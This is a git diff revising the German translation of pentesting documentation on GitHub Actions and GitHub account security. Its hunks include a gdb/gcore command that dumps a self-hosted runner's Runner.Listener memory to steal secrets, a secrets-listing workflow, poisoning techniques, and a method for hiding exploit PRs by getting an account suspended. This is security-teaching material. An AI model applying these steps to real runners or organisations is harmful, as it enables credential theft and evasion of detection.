Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:
@@ -349,7 +349,7 @@ Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Z
> [!CAUTION]
> Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
-Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine vollständigere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
@@ -358,17 +358,17 @@ Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet
> [!NOTE]
> In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).
-### Cache-Poisoning
+### Cache-Vergiftung
-Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** **kompromittiert**, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
+Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** kompromittiert, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artifact-Poisoning
+### Artefaktvergiftung
-Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein **Artefakt hochlädt**, zu **kompromittieren**, das später von einem anderen Workflow verwendet wird, könnte er die **anderen Workflows kompromittieren**:
+Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action zu **kompromittieren**, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, könnte er **die anderen Workflows kompromittieren**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -398,7 +398,7 @@ Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie
-Geheimnisse in der Github Action-Ausgabe auflisten
+Liste der Geheimnisse in der Github Action-Ausgabe
```yaml
name: list_env
on:
@@ -470,7 +470,7 @@ Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastruktu
**Selbst gehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
-Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:
+Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher dumpet:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -480,7 +480,7 @@ sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ prin
### Github Docker Images Registry
Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\
-Ein Beispiel finden Sie im folgenden ausklappbaren Bereich:
+Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.
-Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
+Ein Benutzer mit Lesezugriff auf das Repository kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
@@ -534,9 +534,9 @@ Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **
## Spuren verwischen
-(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **gesperrt** sind, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto sperren lassen oder Ihr Konto kennzeichnen lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
+(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** wurden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
-Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
+Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
> [!WARNING]
> Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 31a16673b..44297e195 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -6,33 +6,33 @@ Diese Möglichkeiten, auf Daten von Github zuzugreifen, die angeblich gelöscht
## Zugriff auf Gelöschte Fork-Daten
-1. Du forkt ein öffentliches Repository.
-2. Du commitest Code zu deinem Fork.
-3. Du löschst deinen Fork.
+1. Sie forken ein öffentliches Repository.
+2. Sie committen Code in Ihren Fork.
+3. Sie löschen Ihren Fork.
> [!CAUTION]
> Die in dem gelöschten Fork committen Daten sind weiterhin zugänglich.
## Zugriff auf Gelöschte Repo-Daten
-1. Du hast ein öffentliches Repo auf GitHub.
-2. Ein Benutzer forkt dein Repo.
-3. Du commitest Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit deinen Updates).
-4. Du löschst das gesamte Repo.
+1. Sie haben ein öffentliches Repo auf GitHub.
+2. Ein Benutzer forkt Ihr Repo.
+3. Sie committen Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit Ihren Updates).
+4. Sie löschen das gesamte Repo.
> [!CAUTION]
-> Selbst wenn du dein Repo gelöscht hast, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich.
+> Selbst wenn Sie Ihr Repo gelöscht haben, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich.
## Zugriff auf Private Repo-Daten
-1. Du erstellst ein privates Repo, das schließlich öffentlich gemacht wird.
-2. Du erstellst eine private, interne Version dieses Repos (durch Forking) und commitest zusätzlichen Code für Funktionen, die du nicht öffentlich machen möchtest.
-3. Du machst dein „Upstream“-Repository öffentlich und hältst deinen Fork privat.
+1. Sie erstellen ein privates Repo, das schließlich öffentlich gemacht wird.
+2. Sie erstellen eine private, interne Version dieses Repos (durch Forking) und committen zusätzlichen Code für Funktionen, die Sie nicht öffentlich machen möchten.
+3. Sie machen Ihr „Upstream“-Repository öffentlich und halten Ihren Fork privat.
> [!CAUTION]
> Es ist möglich, auf alle Daten zuzugreifen, die in den internen Fork gepusht wurden, in der Zeit zwischen der Erstellung des internen Forks und der Veröffentlichung der öffentlichen Version.
-## Wie man Commits von gelöschten/verborgenen Forks entdeckt
+## So entdecken Sie Commits von gelöschten/verborgenen Forks
Der gleiche Blogbeitrag schlägt 2 Optionen vor:
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index d3a87850f..52e17e608 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -16,19 +16,19 @@ Und schließlich können **Repositories spezielle Schutzmechanismen** haben.
### Unternehmensrollen
-- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zum Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository.
-- **Unternehmensmitglieder**: Mitglieder von Organisationen, die von Ihrem Unternehmen besessen werden, sind ebenfalls **automatisch Mitglieder des Unternehmens**.
+- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zu einem Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository.
+- **Unternehmensmitglieder**: Mitglieder von Organisationen, die Ihrem Unternehmen gehören, sind ebenfalls **automatisch Mitglieder des Unternehmens**.
### Organisationsrollen
In einer Organisation können Benutzer verschiedene Rollen haben:
-- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch auf nicht weniger als zwei Personen in Ihrer Organisation.
+- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch nicht auf weniger als zwei Personen in Ihrer Organisation.
- **Organisationsmitglieder**: Die **Standard**-Nicht-Administrationsrolle für **Personen in einer Organisation** ist das Organisationsmitglied. Standardmäßig haben Organisationsmitglieder **eine Reihe von Berechtigungen**.
- **Abrechnungsmanager**: Abrechnungsmanager sind Benutzer, die **die Abrechnungseinstellungen für Ihre Organisation verwalten** können, wie z. B. Zahlungsinformationen.
- **Sicherheitsmanager**: Es ist eine Rolle, die Organisationsinhaber einem Team in einer Organisation zuweisen können. Wenn sie angewendet wird, gibt sie jedem Mitglied des Teams Berechtigungen, um **Sicherheitswarnungen und -einstellungen in Ihrer Organisation zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation zu haben.
- Wenn Ihre Organisation ein Sicherheitsteam hat, können Sie die Rolle des Sicherheitsmanagers verwenden, um den Mitgliedern des Teams den minimalen Zugriff zu gewähren, den sie für die Organisation benötigen.
-- **Github-App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die von einer Organisation besessen werden**, kann ein Eigentümer ihnen Berechtigungen als GitHub-App-Manager gewähren.
+- **Github App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die einer Organisation gehören**, kann ein Inhaber ihnen Berechtigungen als GitHub App-Manager gewähren.
- **Externe Mitarbeiter**: Ein externer Mitarbeiter ist eine Person, die **Zugriff auf eines oder mehrere Repositories der Organisation hat, aber nicht ausdrücklich Mitglied** der Organisation ist.
Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
@@ -37,9 +37,9 @@ Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen:
In _https://github.com/organizations/\/settings/member_privileges_ können Sie die **Berechtigungen sehen, die Benutzer nur durch ihre Mitgliedschaft in der Organisation haben**.
-Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen der Mitglieder der Organisation an:
+Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen für Mitglieder der Organisation an:
-- Administrator, Autor, Leser oder keine Berechtigung für alle Repositories der Organisation sein.
+- Admin, Autor, Leser oder keine Berechtigung für alle Repos der Organisation.
- Ob Mitglieder private, interne oder öffentliche Repositories erstellen können.
- Ob das Forken von Repositories möglich ist.
- Ob externe Mitarbeiter eingeladen werden können.
@@ -54,12 +54,12 @@ Standardmäßig werden Repository-Rollen erstellt:
- **Lesen**: Empfohlen für **Nicht-Code-Beitragsleistende**, die Ihr Projekt ansehen oder diskutieren möchten.
- **Triage**: Empfohlen für **Beitragsleistende, die Probleme und Pull-Requests proaktiv verwalten müssen**, ohne Schreibzugriff zu haben.
- **Schreiben**: Empfohlen für Beitragsleistende, die **aktiv zu Ihrem Projekt beitragen**.
-- **Wartung**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben.
+- **Verwalten**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben.
- **Admin**: Empfohlen für Personen, die **vollständigen Zugriff auf das Projekt** benötigen, einschließlich sensibler und destruktiver Aktionen wie das Verwalten von Sicherheit oder das Löschen eines Repositories.
-Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\/settings/roles_
+Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\/settings/roles_.
### Teams
@@ -69,7 +69,7 @@ Sie können **die in einer Organisation erstellten Teams auflisten** in _https:/
Die Benutzer einer Organisation können in _https://github.com/orgs/\/people_ **aufgelistet** werden.
-In den Informationen jedes Benutzers können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**.
+In den Informationen zu jedem Benutzer können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**.
## Github-Authentifizierung
@@ -81,7 +81,7 @@ Durch den Zugriff auf **github.com** können Sie sich mit Ihrem **Benutzernamen
### **SSH-Schlüssel**
-Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen**. [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG-Schlüssel**
@@ -93,19 +93,19 @@ Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff
### Oauth-Anwendungen
-Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Login mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden.
+Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Anmeldung mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden.
-- Sie können **Ihre eigenen Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) erstellen.
+- Sie können Ihre eigenen **Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) **erstellen**.
- Sie können alle **Oauth-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/applications](https://github.com/settings/applications).
- Sie können die **Scopes sehen, die Oauth-Apps anfordern können** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
-- Sie können den Zugriff von Drittanwendungen auf Anwendungen in einer **Organisation** in _https://github.com/organizations/\/settings/oauth_application_policy_ sehen.
+- Sie können den Zugriff von Drittanwendungen in einer **Organisation** in _https://github.com/organizations/\/settings/oauth_application_policy_ sehen.
Einige **Sicherheitsempfehlungen**:
-- Eine **OAuth-App** sollte immer **als authentifizierter GitHub-Benutzer über das gesamte GitHub** hinweg agieren (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben.
-- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem ein "Login mit GitHub" für den authentifizierten Benutzer aktiviert wird.
-- **Bauen Sie keine OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf \_allen**\_\*\* Repositories des authentifizierten Benutzers zugreifen\*\*.
-- **Bauen Sie keine OAuth-App**, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat.
+- Eine **OAuth-App** sollte immer **als der authentifizierte GitHub-Benutzer über das gesamte GitHub hinweg agieren** (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben.
+- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem eine "Anmeldung mit GitHub" für den authentifizierten Benutzer aktiviert wird.
+- **Bauen Sie keine** **OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf _allen_**\*\* Repositories des authentifizierten Benutzers zugreifen\*\*.
+- **Bauen Sie keine** OAuth-App, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat.
- **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github-Anwendungen
@@ -113,7 +113,7 @@ Einige **Sicherheitsempfehlungen**:
Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um spezifische Aktionen über spezifische Ressourcen auszuführen. In Github-Apps müssen Sie die Repositories angeben, auf die die App Zugriff haben wird.
- Um eine GitHub-App zu installieren, müssen Sie **Organisationsinhaber oder über Administratorberechtigungen** in einem Repository verfügen.
-- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein.
+- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**.
- Sie können Ihre eigene Github-Anwendung in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen.
- Sie können alle **Github-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
- Dies sind die **API-Endpunkte für Github-Anwendungen** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Je nach den Berechtigungen der App kann sie auf einige von ihnen zugreifen.
@@ -122,12 +122,12 @@ Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Inform
Einige Sicherheitsempfehlungen:
- Eine GitHub-App sollte **unabhängig von einem Benutzer handeln** (es sei denn, die App verwendet ein [User-to-Server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um die Sicherheit von User-to-Server-Zugriffstoken zu erhöhen, können Sie Zugriffstoken verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen finden Sie unter "[Aktualisieren von User-to-Server-Zugriffstoken](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Stellen Sie sicher, dass die GitHub-App mit **bestimmten Repositories** integriert ist.
-- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein.
+- Stellen Sie sicher, dass die GitHub-App mit **spezifischen Repositories** integriert ist.
+- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**.
- Erwarten Sie nicht, dass die GitHub-App alles weiß und tut, was ein Benutzer kann.
-- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer einzuloggen _und_ andere Dinge zu tun.
+- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer anzumelden _und_ andere Dinge zu tun.
- Bauen Sie keine GitHub-App, wenn Sie _nur_ als GitHub-Benutzer agieren und alles tun möchten, was dieser Benutzer tun kann.
-- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen von Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen der Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
@@ -144,7 +144,7 @@ In _https://github.com/organizations/\/settings/actions_ ist es mögli
Es ist möglich, die Verwendung von Github-Aktionen vollständig zu verbieten, **alle Github-Aktionen zuzulassen** oder nur bestimmte Aktionen zuzulassen.
-Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen**, und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird.
+Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen** und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird.
### Git-Geheimnisse
@@ -168,77 +168,77 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
-> Secrets **können nur von den Github Actions** zugegriffen werden, die sie deklariert haben.
+> Geheimnisse **können nur von den Github Actions** abgerufen werden, die sie deklariert haben.
-> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Nutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**.
+> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Benutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**.
-Daher ist der **einzige Weg, Github-Secrets zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Secrets zugreifen).
+Daher ist der **einzige Weg, Github-Geheimnisse zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Geheimnisse zugreifen).
### Git-Umgebungen
-Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Secrets** speichern können. Dann können Sie der Github Action Zugriff auf die Secrets innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden:
+Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Geheimnisse** speichern können. Dann können Sie der Github Action Zugriff auf die Geheimnisse innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Sie können eine Umgebung so konfigurieren, dass sie **von allen Branches** (Standard), **nur von geschützten** Branches oder **bestimmten** Branches, die darauf zugreifen können, **zugänglich** ist.\
+Es kann auch eine **Anzahl erforderlicher Überprüfungen** festgelegt werden, bevor eine **Aktion** unter Verwendung einer **Umgebung** **ausgeführt** wird, oder es kann einige **Zeit** gewartet werden, bevor die Bereitstellungen fortgesetzt werden.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Eine Github-Aktion kann **innerhalb der Github-Umgebung ausgeführt** oder in einer **drittanbieter Infrastruktur**, die vom Benutzer konfiguriert wurde, ausgeführt werden.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Mehrere Organisationen erlauben es, Github-Aktionen in einer **drittanbieter Infrastruktur** auszuführen, da dies in der Regel **günstiger** ist.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+Sie können die **selbst gehosteten Runner** einer Organisation unter _https://github.com/organizations/\/settings/actions/runners_ auflisten.
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+Der Weg, um herauszufinden, welche **Github-Aktionen in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach `runs-on: self-hosted` in der Github-Aktionskonfigurations-yaml zu suchen.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+Es ist **nicht möglich, eine Github-Aktion einer Organisation innerhalb einer selbst gehosteten Box** einer anderen Organisation auszuführen, da **ein einzigartiges Token für den Runner generiert wird**, wenn er konfiguriert wird, um zu wissen, zu welcher Organisation der Runner gehört.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Wenn der benutzerdefinierte **Github Runner auf einer Maschine innerhalb von AWS oder GCP** konfiguriert ist, könnte die Aktion **Zugriff auf den Metadaten-Endpunkt haben** und **das Token des Dienstkontos stehlen**, mit dem die Maschine betrieben wird.
-### Git Action Compromise
+### Git Action Kompromittierung
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Wenn alle Aktionen (oder eine bösartige Aktion) erlaubt sind, könnte ein Benutzer eine **Github-Aktion** verwenden, die **bösartig** ist und den **Container** kompromittiert, in dem sie ausgeführt wird.
